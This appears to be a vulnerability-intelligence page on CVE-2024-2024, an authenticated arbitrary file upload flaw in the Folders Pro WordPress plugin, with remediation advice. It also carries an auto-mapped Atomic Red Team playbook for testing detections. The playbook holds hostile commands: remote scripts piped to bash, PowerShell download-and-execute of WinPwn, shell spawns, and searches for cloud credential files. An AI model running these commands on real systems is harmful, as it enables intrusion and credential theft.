CVE-2024-2024
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation within the 'handle_folders_file_upload' function of the Premio Folders Pro WordPress plugin. The root cause lies in the plugin's failure to enforce restrictions on uploaded file extensions or MIME types, allowing unauthorized file types to be accepted. The affected component is the file upload handling mechanism in all plugin versions up to and including 3.0.2.
Vulnerability Description
The Folders Pro plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'handle_folders_file_upload' function in all versions up to, and including, 3.0.2. This makes it possible for authenticated attackers, with author access and above, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with authenticated author-level access can upload arbitrary files, including executable scripts, to the server hosting the affected WordPress site. This capability may lead to remote code execution, enabling full compromise of the web server and potentially the underlying network. The attack requires legitimate credentials with author privileges (CVSS vector PR:L) but no user interaction beyond authentication. Successful exploitation can result in data breaches, site defacement, or persistent backdoor installation.
Solution
Users of Premio Folders Pro should upgrade to version 3.0.3 or later, where the file upload validation has been implemented to restrict allowed file types. Detailed patch information and remediation instructions are available in the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/fa1d953f-6a5c-46af-a1a5-2c4f90da679a. No official workaround is documented; immediate upgrading is recommended to mitigate this vulnerability.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the Folders Pro plugin for WordPress arises from inadequate validation of file types during the file upload process. Specifically, the flaw exists in the 'handle_folders_file_upload' function, which fails to properly restrict the types of files that can be uploaded. This oversight allows authenticated users with author-level access or higher to upload arbitrary files to the server. The absence of stringent checks means that an attacker could exploit this vulnerability to upload malicious scripts or executables, potentially leading to remote code execution on the affected server. This lack of validation is particularly concerning in a web environment where user-generated content is commonplace, as it opens the door for various forms of attacks.
Attack vectors leveraging this vulnerability are straightforward yet effective. An authenticated attacker could simply log in to the WordPress site, navigate to the file upload functionality provided by the Folders Pro plugin, and upload a malicious file disguised as a legitimate document. For instance, an attacker might upload a PHP script with a .jpg extension, which the server would accept due to the absence of proper file type validation. Once uploaded, the attacker could then access the script directly via the web server, executing arbitrary code with the same privileges as the web server user. This scenario highlights the ease with which an attacker could exploit the vulnerability, particularly if they have already gained access to an account with sufficient privileges.
The real-world impact of this vulnerability can be severe, especially for businesses that rely on WordPress for their online presence. Successful exploitation could lead to unauthorized access to sensitive data, website defacement, or even complete server compromise. The consequences may extend beyond immediate technical issues, as businesses could face reputational damage, loss of customer trust, and potential legal ramifications depending on the nature of the data exposed. Furthermore, the financial implications of remediation efforts, including incident response, system recovery, and potential regulatory fines, could be substantial. Given the high CVSS score of 8.8, this vulnerability poses a significant risk that organizations must address promptly.
To detect and mitigate this vulnerability, organizations should implement several strategies. First, regular security assessments and code reviews of plugins and themes should be conducted to identify and remediate vulnerabilities before they can be exploited. Additionally, employing a web application firewall (WAF) can help filter out malicious file uploads and block known attack patterns. Organizations should also enforce strict user role management, ensuring that only trusted users have the ability to upload files. Furthermore, keeping all plugins and WordPress core updated to the latest versions is crucial, as developers often release patches that address known vulnerabilities. Finally, implementing file type restrictions at the server level can provide an additional layer of security, preventing unauthorized file types from being uploaded regardless of application-level checks.
In conclusion, the vulnerability in the Folders Pro plugin for WordPress underscores the critical importance of robust file validation mechanisms in web applications. The potential for arbitrary file uploads leading to remote code execution presents a significant risk to organizations, necessitating proactive detection and mitigation strategies. By prioritizing security best practices and maintaining vigilance in monitoring and updating their systems, organizations can better protect themselves against such vulnerabilities and the threats they pose.
Affected Products
No CPE information available.
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-2024 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/fa1d953f-6a5c-46af-a1a5-2c4f90da679a?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/folders/tags/3.0/includes/media.replace.php#L1311 |